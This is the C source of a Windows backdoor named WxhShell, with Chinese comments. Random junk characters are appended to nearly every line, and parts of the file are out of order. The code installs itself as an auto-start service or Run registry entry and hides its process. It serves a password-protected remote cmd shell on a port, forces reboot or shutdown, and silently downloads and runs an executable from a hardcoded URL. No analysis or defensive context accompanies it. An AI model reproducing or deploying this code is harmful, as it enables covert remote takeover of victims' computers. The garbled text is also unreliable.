    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]yqE6Lf9  
    else { BaIuOZ@,  
    closesocket(wsh); s]kzXzRC?  
    ExitThread(0); cjg~?R  
    } P,-5af*;  
    break; 8>x' . 8  
    } L1g0Dd\Ox  
  // 获取shell w >2G@  
  case 's': { I"3C/ pU2  
    CmdShell(wsh); 6H  U*,  
    closesocket(wsh); P3 =#<Q.  
    ExitThread(0); lP]Y^Gz  
    break; G'w!Aw s  
  } ?)k ]Vg.  
  // 退出 3)?WSOsL :  
  case 'x': { | V{ Q  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); vp!F6ZwO  
    CloseIt(wsh); +'olC^?5 }  
    break; )YAU|sCAi$  
    } h2Th)&Fb>  
  // 离开 !'BXc%`x[  
  case 'q': { O j:I @c  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); X9FO"(J  
    closesocket(wsh); nIfAG^?|*  
    WSACleanup(); vbtZ5Gm  
    exit(1); S|LY U!IWZ  
    break; $^?VyHXvY  
        } _JNYvng m  
  } r`EjD}2d  
  } Pz:,de~5Qm  
e?+-~]0  
  // 提示信息 m$v >r\*X  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); \>lA2^E f  
} =l*xM/S  
  } zP2X}VLMo  
zYY]+)k?  
  return; G?XA",AC  
} Mb\(52`)Q  
<Y1 Plc  
// shell模块句柄 GtZ.' ?-  
int CmdShell(SOCKET sock) cYC^;,C &|  
{ } -;)G~h/"  
STARTUPINFO si; 4Nt4(3Kf  
ZeroMemory(&si,sizeof(si)); es#6/  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 7'i{JPm  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; z,SI  
PROCESS_INFORMATION ProcessInfo; 2; ,8 u  
char cmdline[]="cmd"; &}2@pu[S?7  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); >,3uu}s  
  return 0; c6c@ Xd V  
} o}/|"(K  
Ma$~B0!;s  
// 自身启动模式 l*&N<Yu  
int StartFromService(void) GQ@mQ=i  
{ .RFH@''  
typedef struct >8OY6wb  
{ 5.&)hmpg  
  DWORD ExitStatus; vGh>1U:  
  DWORD PebBaseAddress; 2/s42 FoG  
  DWORD AffinityMask; =G^'wwpv(  
  DWORD BasePriority; (g X8iKl  
  ULONG UniqueProcessId; WR"1d\m:  
  ULONG InheritedFromUniqueProcessId; :0 n+RL*5  
}   PROCESS_BASIC_INFORMATION; |D/a}Av>B  
GxG~J4  
PROCNTQSIP NtQueryInformationProcess; Tjrb.+cua  
G&1bhi52  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; "uIaKb  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; '&Y_,-i  
Fc\]*  
  HANDLE             hProcess; FE,mUpHIR  
  PROCESS_BASIC_INFORMATION pbi; ?jlz:Z4  
E JuTv%Y8  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); AL3iNkEa  
  if(NULL == hInst ) return 0; J9]cs?`)  
<anKw|  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); -40X3  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); _~\ } fY  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Is }kCf  
a%b E}  
  if (!NtQueryInformationProcess) return 0; Rb:<?&7ZzN  
76<mP*5  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ;e5PoLc  
  if(!hProcess) return 0; T~Bj],k_  
u4SL:IH{D  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; t$Rc 0  
x:!s+q` s  
  CloseHandle(hProcess); 1@KiP`DA  
.yXqa"p  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); F/>\uzu  
if(hProcess==NULL) return 0; |%XTy7^a  
L98T!5)  
HMODULE hMod; ~).D\Q\  
char procName[255]; Q35\wQ#  
unsigned long cbNeeded; ws!~MSIy  
G(#t,}S}@  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); C7NSmZ  
=VuSi(d;e{  
  CloseHandle(hProcess); p5or"tK  
H#;*kc a4  
if(strstr(procName,"services")) return 1; // 以服务启动 GK'p$`oJm  
LPJ7V` !k  
  return 0; // 注册表启动 b=:ud[h  
} 04;s@\yX4  
X]@"ZV[  
// 主模块 o|z@h][(l(  
int StartWxhshell(LPSTR lpCmdLine) R`a~8QVh&5  
{ ([< HFc`  
  SOCKET wsl; $B%KkD  
BOOL val=TRUE; x$BNFb%I1  
  int port=0; jUA~}DVD  
  struct sockaddr_in door; -W('^v_*  
5{V"!M+<  
  if(wscfg.ws_autoins) Install(); ;j1E6  
`<se&IZE  
port=atoi(lpCmdLine); KU` *LB:  
SU~.baP?  
if(port<=0) port=wscfg.ws_port; 4{zy)GE|W  
fuUtM_11  
  WSADATA data; .4 WJk>g  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 9_:"`)] 3B  
r@zT!.sc!  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   #vV]nI<MF.  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); _(h=@cv  
  door.sin_family = AF_INET; A[;deHg=  
  door.sin_addr.s_addr = inet_addr("127.0.0.1");  MYy58N  
  door.sin_port = htons(port); 4mo/MK&M:  
PZ8,E{V  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { LPt9+sauf1  
closesocket(wsl); oHx :["F  
return 1; bGeIb-|(  
} ; o_0~l=-/  
Hm'"I!jyO  
  if(listen(wsl,2) == INVALID_SOCKET) { %w65)BFQ  
closesocket(wsl); L>sLb(2\i  
return 1; <6 Rec^QF  
} ANu>*  
  Wxhshell(wsl); ^)>( <6  
  WSACleanup(); PtW2S 1?j  
m#RJRuZ|2V  
return 0; gU x}vE-  
g-d{"ZXd J  
} 96V8R<   
aH_c84DS  
// 以NT服务方式启动 lY tt|J  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ^{MqJ\S7H  
{ JnBc@qnP6  
DWORD   status = 0; 4DCh+|r  
  DWORD   specificError = 0xfffffff; _< .VP  
8~C}0H  
  serviceStatus.dwServiceType     = SERVICE_WIN32; }bS1M  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; d0I s|Gs  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; p)/e;q^  
  serviceStatus.dwWin32ExitCode     = 0; ?{f6su@rW  
  serviceStatus.dwServiceSpecificExitCode = 0; o1(;"5MM  
  serviceStatus.dwCheckPoint       = 0; Wds>'zzS  
  serviceStatus.dwWaitHint       = 0; c 1F^Gj!8  
K& ^qn&  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 'M"z3j]m-,  
  if (hServiceStatusHandle==0) return; St%x\[D  
+-|""`I1I  
status = GetLastError(); G`0O5G:1  
  if (status!=NO_ERROR) <9fXf*  
{ AEyD?^?  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; x7zc3%T's  
    serviceStatus.dwCheckPoint       = 0; :wIA.1bK}  
    serviceStatus.dwWaitHint       = 0; MZh.Xo  
    serviceStatus.dwWin32ExitCode     = status; 1 gjaTPwY  
    serviceStatus.dwServiceSpecificExitCode = specificError; %@a;q?/?Nd  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ,ZJ}X 9$<  
    return; wea  
  } jJiuq#;T3  
xQvI$vP  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; .2JZ7  
  serviceStatus.dwCheckPoint       = 0; }NC$Ce  
  serviceStatus.dwWaitHint       = 0; ESV./~K  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Pt5wm\  
} x/<]/D  
/r~2KZE  
// 处理NT服务事件,比如:启动、停止 4%r?(C0x  
VOID WINAPI NTServiceHandler(DWORD fdwControl) -1Li&K7  
{ ZSQiQ2\)  
switch(fdwControl) mnM]@8^G  
{ )?[7}(4jI  
case SERVICE_CONTROL_STOP: c2g[w;0"  
  serviceStatus.dwWin32ExitCode = 0; Q*#Lr4cm{  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ON\bD?(VY  
  serviceStatus.dwCheckPoint   = 0; $EFS_*<X  
  serviceStatus.dwWaitHint     = 0; ek]JzD~w$  
  { C:Rs~@tl  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); HU?1>}4L  
  } Jl\xE`-7  
  return; @QmN= X5  
case SERVICE_CONTROL_PAUSE: A2ye ^<-C.  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ZiuD0#"!  
  break; C%yH}T\s  
case SERVICE_CONTROL_CONTINUE: -nNKUt.I  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; @3c'4O   
  break; 5CK\Z'c~!  
case SERVICE_CONTROL_INTERROGATE: R5=J:o  
  break; yP$esDP  
}; (9%?ik  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); =_k  
} 8wkhbD|;  
r[Pp[ g-J  
// 标准应用程序主函数 $jh$nMx)!  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Y[7prjd  
{ _\+]/rY9o  
UiV#w#&P  
// 获取操作系统版本 KU$,{Sn6@  
OsIsNt=GetOsVer(); 3<XuJ1V&  
GetModuleFileName(NULL,ExeFile,MAX_PATH); "7%jv[  
Nxe1^F33  
  // 从命令行安装 PzKTEYJL  
  if(strpbrk(lpCmdLine,"iI")) Install(); u|IS7>Sm  
`"CA$Se8  
  // 下载执行文件 *Ze0V9$'  
if(wscfg.ws_downexe) { )KFxtM-  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) t jThQ  
  WinExec(wscfg.ws_filenam,SW_HIDE); V6dq8Z"h  
} Fj<*!J$,  
l3b=8yn.  
if(!OsIsNt) { <MG&3L.[  
// 如果时win9x,隐藏进程并且设置为注册表启动 kNWTM%u9  
HideProc(); 'M6+(`x  
StartWxhshell(lpCmdLine); bI0xI[#Q  
}  ri4z^1\  
else "|(.W3f1  
  if(StartFromService()) m@kLZimD  
  // 以服务方式启动 "W+>?u)  
  StartServiceCtrlDispatcher(DispatchTable); >C_G~R  
else 3mU~G}ig  
  // 普通方式启动 hev;M)t  
  StartWxhshell(lpCmdLine); $rW(*#C  
k ?KJ8  
return 0; bh5D}w  
} =|AYT6z,  
}d}sC\>U  
%N&.B  
%7mGMa/  
=========================================== n32"cFPpT  
_s@PL59,  
\l(J6Tu  
8zeeC eIU  
h'em?fN(  
')q4d0B`"  
" JqO1 a?H  
I;JV-jDM  
#include <stdio.h> i;{lY1  
#include <string.h> '/qy_7O  
#include <windows.h> *CXc{{  
#include <winsock2.h> LGuZp?"  
#include <winsvc.h> }h Wv  p  
#include <urlmon.h> &u&WP  
cy@R i#  
#pragma comment (lib, "Ws2_32.lib") -B-G$ii  
#pragma comment (lib, "urlmon.lib") 2R,} j@  
,!Q nh:  
#define MAX_USER   100 // 最大客户端连接数 R4 eu,,J  
#define BUF_SOCK   200 // sock buffer U:8] G  
#define KEY_BUFF   255 // 输入 buffer e bp t/q[  
oQ -m  
#define REBOOT     0   // 重启 "[7-1}l  
#define SHUTDOWN   1   // 关机 mmJnE  
dz+!yE\f$  
#define DEF_PORT   5000 // 监听端口 RdD>&D$I  
AJB NM  
#define REG_LEN     16   // 注册表键长度 sm'_0EUg  
#define SVC_LEN     80   // NT服务名长度 j=T8 b  
bDl#806PL  
// 从dll定义API }&/>v' G  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); #b*4v&<  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); z<9C-  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); BNJ0D  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Z:^#9D{  
mWZP.w^-  
// wxhshell配置信息 'i$. _Tx  
struct WSCFG { gk| % 4.  
  int ws_port;         // 监听端口 !`N:.+DT  
  char ws_passstr[REG_LEN]; // 口令 pnSKIn  
  int ws_autoins;       // 安装标记, 1=yes 0=no ZMlBd}H  
  char ws_regname[REG_LEN]; // 注册表键名 8<}=f4vUj5  
  char ws_svcname[REG_LEN]; // 服务名 \azMF}mb  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 v\|jkzR5Y  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 v3cMPN  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 A^FkU  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 6oLOA}q   
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" pW.WJ`Rk  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 I1m[M?  
v)*MgfS  
}; uQc("F  
glCpA$;VPu  
// default Wxhshell configuration U - OD  
struct WSCFG wscfg={DEF_PORT, ~vt*%GN3  
    "xuhuanlingzhe", ppn  8  
    1, bv h#Q_  
    "Wxhshell", }Fu1Y@M%  
    "Wxhshell", zZPWE "u}  
            "WxhShell Service", v@Eb[7Kq/1  
    "Wrsky Windows CmdShell Service", s"#N;  
    "Please Input Your Password: ", A z@@0  
  1, Gr\jjf`  
  "http://www.wrsky.com/wxhshell.exe", *w0|`[P+h  
  "Wxhshell.exe" b-8@_@f|g  
    }; B|a<=~  
OEl;R7aOB&  
// 消息定义模块 2;T?ry7  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; &iw,||#  
char *msg_ws_prompt="\n\r? for help\n\r#>"; J'|[-D-a  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; i/-IjgM"-  
char *msg_ws_ext="\n\rExit."; X7OU=+g  
char *msg_ws_end="\n\rQuit."; cO{NiRIb  
char *msg_ws_boot="\n\rReboot..."; iJhieNn  
char *msg_ws_poff="\n\rShutdown..."; 7.VP7;jys  
char *msg_ws_down="\n\rSave to "; N KgEs   
^A&{g.0  
char *msg_ws_err="\n\rErr!"; |DW^bv  
char *msg_ws_ok="\n\rOK!"; yLLA:5Q1  
n:4 0T1: q  
char ExeFile[MAX_PATH]; !I1p`_(_7  
int nUser = 0; qspGNu  
HANDLE handles[MAX_USER]; b+:mV7eX  
int OsIsNt; IW i0? V  
~rO&Y{aG#  
SERVICE_STATUS       serviceStatus; l opl  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; i 7T#WfF  
>F^$ ' b]  
// 函数声明 _YR#J%xa  
int Install(void); Tx&H1  
int Uninstall(void); |0F o{  
int DownloadFile(char *sURL, SOCKET wsh); HLz<C  
int Boot(int flag); z)KoK`\mE"  
void HideProc(void); :CM-I_6  
int GetOsVer(void); Ay6T*Nu`  
int Wxhshell(SOCKET wsl); Y<POdbg  
void TalkWithClient(void *cs); P\WHM(  
int CmdShell(SOCKET sock); l+6@,TY1U  
int StartFromService(void); )x [=}0C  
int StartWxhshell(LPSTR lpCmdLine); <5KoK!H  
Z\C"/j<y  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); } -4p8Zt  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ]b}3f<  
U[;ECw@  
// 数据结构和表定义 'p[6K'Uq5  
SERVICE_TABLE_ENTRY DispatchTable[] = PC@H Nto{  
{ B> i^w1  
{wscfg.ws_svcname, NTServiceMain}, O<!^^7/h0  
{NULL, NULL} 6 T~+vT  
}; g-#eMQ%J  
moVf(7  
// 自我安装 lbIW1z%:sy  
int Install(void) 3<FqK\P  
{ fU.hb%m)Q\  
  char svExeFile[MAX_PATH]; "o;%em*Bc  
  HKEY key; G2[2y-Rv  
  strcpy(svExeFile,ExeFile); P >0S ZP  
&flcJ`  
// 如果是win9x系统,修改注册表设为自启动 ArX*3  
if(!OsIsNt) { $aXYtHI  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { "OUY^ cM  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 4mBM5Tv  
  RegCloseKey(key); $?: -A  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { j }^?Snq  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); z&GGa`T"  
  RegCloseKey(key); )tV]h#4  
  return 0; 3s:)CXO  
    } _jkJw2+s\  
  } 2s 9U&  
} 'uUa|J1mu  
else { Jz;`L3m  
z SsogAx  
// 如果是NT以上系统,安装为系统服务 $3#oA.~R/  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ~U?vB((j!  
if (schSCManager!=0) &n6 |L8  
{ Z+J~moW `  
  SC_HANDLE schService = CreateService N9)ERW2`*  
  ( }?{. 'Hv0  
  schSCManager, \<%FZT_4~  
  wscfg.ws_svcname, &@7|_60  
  wscfg.ws_svcdisp, K1<l/ s  
  SERVICE_ALL_ACCESS, N/^[c+J  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , l%2B4d9"v  
  SERVICE_AUTO_START, 2(D&jL  
  SERVICE_ERROR_NORMAL, |@-y+vbA*  
  svExeFile, Dhg/>@tw  
  NULL, ; zy;M5l5.  
  NULL, _x#r,1V+D  
  NULL, b[;3y/X  
  NULL, dj0D u^ v4  
  NULL Git2Cet  
  ); SR)@'-Wd  
  if (schService!=0) '?fn} V  
  { lgAE`Os  
  CloseServiceHandle(schService); W\DJXM]b  
  CloseServiceHandle(schSCManager); A@k=Mk  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); >W8PLo+i  
  strcat(svExeFile,wscfg.ws_svcname); oDA'}[/  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 10/3-)+  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); !q PUQ+  
  RegCloseKey(key); J _|>rfW  
  return 0; wVs|mG"  
    }  -gS/  
  } pk=z<OTb  
  CloseServiceHandle(schSCManager); M[T!AO-S$  
} p:U{3uN 62  
} 3^ &pb  
]@1ncn7N  
return 1; RzSN,bL R  
} p7O4CP>9[  
p/s5[>N  
// 自我卸载 :(x 90;DW  
int Uninstall(void) /%N~$ &wW  
{ wA)R7%&  
  HKEY key; ]zK} X!  
aR;Q^YJ+a  
if(!OsIsNt) { ?at~il$z'  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { {la ^useg[  
  RegDeleteValue(key,wscfg.ws_regname); R ?\8SdJ  
  RegCloseKey(key); Un[#zh<4  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { &jPsdv h  
  RegDeleteValue(key,wscfg.ws_regname); & l|B>{4v  
  RegCloseKey(key); r>q`# ~  
  return 0; 8i"{GGVC  
  } {gi"ktgk  
} *XzUqK  
} u09OnP\  
else { !*#=7^#  
;6)|'3.B9  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); I3aEg  
if (schSCManager!=0) +~/zCJ;F  
{ \J\1i=a-=  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); %BHq2~J  
  if (schService!=0) khu,P[3>  
  { pV-.r-P  
  if(DeleteService(schService)!=0) { q C|re!K  
  CloseServiceHandle(schService); IX3U\_I#  
  CloseServiceHandle(schSCManager); x[oYN9O  
  return 0; >"nk}@  
  } j+ys&pDczm  
  CloseServiceHandle(schService); 1X9sx&5H  
  } n2O7n @8  
  CloseServiceHandle(schSCManager); C,z]q$4  
} 1Q;` <=  
} ) DLK<10  
y! 1NS  
return 1; rC*nZ*  
} (c*Dvpo1  
YvHn~gNPhs  
// 从指定url下载文件 )*JTxMQ  
int DownloadFile(char *sURL, SOCKET wsh) ;~q)^.K3  
{ ?x/ L"h&Kp  
  HRESULT hr; ]ogy`O>  
char seps[]= "/"; BR%:`uiQ<  
char *token; (c_hX(  
char *file; ^ pR&  
char myURL[MAX_PATH]; a:]yFi:Su  
char myFILE[MAX_PATH]; Zj<T#4?8  
Q\z*q,^R  
strcpy(myURL,sURL); MR6vr.~  
  token=strtok(myURL,seps);  JuI,wA  
  while(token!=NULL) ?8nG F%p  
  { Zj^H3 h  
    file=token; @<sP1`1  
  token=strtok(NULL,seps); Z,&ywMm/G  
  } 5LK>n-  
]- `{kX  
GetCurrentDirectory(MAX_PATH,myFILE); =f p(hX"  
strcat(myFILE, "\\"); g?+P&FL#I  
strcat(myFILE, file); ?{dno=  
  send(wsh,myFILE,strlen(myFILE),0); +]_} \  
send(wsh,"...",3,0); [(K^x?\Y0'  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); dk ?0r  
  if(hr==S_OK) ,J#5Y.  
return 0; x[kdQj2[&  
else zC^Ib&gm>,  
return 1; 8vP)qy8  
/L8=8  
} D.GSl  
n#fg7d%  
// 系统电源模块 0?sp  
int Boot(int flag) Aws TDM  
{ _[7uLWyC9  
  HANDLE hToken; zBR]bk\  
  TOKEN_PRIVILEGES tkp; Dx%fW`  
;g*6NzdA  
  if(OsIsNt) { (^4%Fk&I-  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 7> QtO  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 5-QXvw(TH  
    tkp.PrivilegeCount = 1; ~!OjdE!u  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; U#P#YpD;==  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); y%y#Pb |  
if(flag==REBOOT) { ij),DbWd  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) G#*;3X$  
  return 0; 6bn-NY:i  
}  x1et,&,  
else { v]!7=>/2  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) J5"*OH:f  
  return 0; *$1)&2i  
} EKf4f^<  
  } k4P.}SJ?  
  else { V+q RDQ  
if(flag==REBOOT) { >4E,_`3N  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) P;/T`R=Vr"  
  return 0; '$VR_N\  
} hg~fFj3ST  
else { Kna'5L5"  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) `xr%LsNn  
  return 0; +1%6-g4 "  
} ^s*} 0  
} )wRD  
{ 1+H\ (v  
return 1; FRW.  
} #wyS?FP-  
UTt#ltun?  
// win9x进程隐藏模块 Id0F2  [  
void HideProc(void) AQ5v`xE4  
{ ao!r6:&v$e  
5  $J  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); @6SSk=9_S  
  if ( hKernel != NULL ) F8I <4S  
  { @n(In$  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ^q` *!B 9@  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); #u$z-M !  
    FreeLibrary(hKernel); `vSsgG  
  } ){:aGGtko  
As`^Ku&  
return; O#\> j  
} =.c"&,c?L  
vo-{3]u#=  
// 获取操作系统版本 ||=Duk  
int GetOsVer(void) Ln|${c  
{ "q .uiz+1:  
  OSVERSIONINFO winfo; M=A9a x  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); A@OV!DJe]  
  GetVersionEx(&winfo); hz%IxI9  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ap~Iz  
  return 1; xTMTkVa+B  
  else *&]l  
  return 0; 2LU'C,o?  
} P>-,6a>  
? h%+2  
// 客户端句柄模块 =.a ]?&Yyh  
int Wxhshell(SOCKET wsl) M6sDtL9l  
{ s|'L0` <B  
  SOCKET wsh; (/U1J  
  struct sockaddr_in client; @\?f77Of6  
  DWORD myID; +IYSWR  
|Y11sDa9h  
  while(nUser<MAX_USER) ]r6bJ 2  
{ Bl];^W^P  
  int nSize=sizeof(client); 6pR#z@,  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); aw1J#5j`n  
  if(wsh==INVALID_SOCKET) return 1; M'iKk[Hjfx  
~@a R5Q>us  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); f,>i%.  
if(handles[nUser]==0) DG=Ap:sl*$  
  closesocket(wsh); h :R)KM  
else 0)!zhO_}  
  nUser++; ,be?GAq  
  } m5N&7qgp  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); wlM ?gQXU[  
w ZAXfNA  
  return 0; ~0|hobk  
} 2\de |'  
~*Qpv&y)  
// 关闭 socket m 9@n  
void CloseIt(SOCKET wsh) 1 7oxD  
{ ($> 0&w  
closesocket(wsh); ;7k7/f:  
nUser--; >>zoG3H!  
ExitThread(0); /g''-yT7#  
} ASw |sw  
':]a.yA\1  
// 客户端请求句柄 N-E`go  
void TalkWithClient(void *cs) oFR'GUQC  
{ TP::y  
j:3Hm0W3  
  SOCKET wsh=(SOCKET)cs; h+D=/:B  
  char pwd[SVC_LEN]; YWrY{6M  
  char cmd[KEY_BUFF]; .`N` M9  
char chr[1]; 'Y\"^'OU\  
int i,j; {C6;$#7P  
UE w3AO  
  while (nUser < MAX_USER) { l$_rA~Mo  
z&,sm5Lb  
if(wscfg.ws_passstr) { T l(uqY?9  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); |9]K:A  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Tpx,41(k  
  //ZeroMemory(pwd,KEY_BUFF); #9VY[<  
      i=0; #/<Y!qV&  
  while(i<SVC_LEN) { 4 GW[GT  
g}QTZT8  
  // 设置超时 %W;Gf9.w  
  fd_set FdRead; 4ZpF1Zc4B  
  struct timeval TimeOut; 5O ;^Mk|  
  FD_ZERO(&FdRead); T k&9Klo  
  FD_SET(wsh,&FdRead); PM!t"[@&  
  TimeOut.tv_sec=8; $i~`vu*  
  TimeOut.tv_usec=0; y/hvH"f  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); :~R Fy?xRa  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); fcXk]W  
@|%ICG c  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); eh4"_t  
  pwd=chr[0]; S@NhEc  
  if(chr[0]==0xd || chr[0]==0xa) { 3MJWCo-[  
  pwd=0; 9= $,]M  
  break; O \8G~V 5"  
  } Ia:puks=  
  i++; mIEaWE;E"  
    } _J~ta.  
ik0Q^^1?Y  
  // 如果是非法用户,关闭 socket dt&Lwf/  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); l(\8c><m  
} ]f-'A>MC  
~{Rt4o _W  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); KVpAV$|e  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); @ aN=U=  
+{i "G,3  
while(1) { R${4Q1  
lY9M<8g  
  ZeroMemory(cmd,KEY_BUFF); *N e2l`!1m  
}SN44 di(  
      // 自动支持客户端 telnet标准   Z)T@`B6  
  j=0; ?V:]u 3  
  while(j<KEY_BUFF) { @ZR4%A"X4  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); UH&1c8y}  
  cmd[j]=chr[0]; ,xe@G)a  
  if(chr[0]==0xa || chr[0]==0xd) { %aE7id>v6  
  cmd[j]=0; x][9ptr h  
  break; ^1yTL5#:Vw  
  } NG!cEo:2aa  
  j++; 3nC#$L-   
    } cW\Y?x   
Yk@s"qm3  
  // 下载文件 _QUu'zJ  
  if(strstr(cmd,"http://")) { V3~a!k  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 8421-c6y>  
  if(DownloadFile(cmd,wsh)) B "F`OS[  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^ O Xr: P  
  else Q[Sd  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); s5aOAyb*w  
  } K(KP3Q  
  else { 5J\|gZQF  
;@YF}%!+W  
    switch(cmd[0]) { /Q>{YsRRB  
  t,1!`/\  
  // 帮助 5QFXj)hR+4  
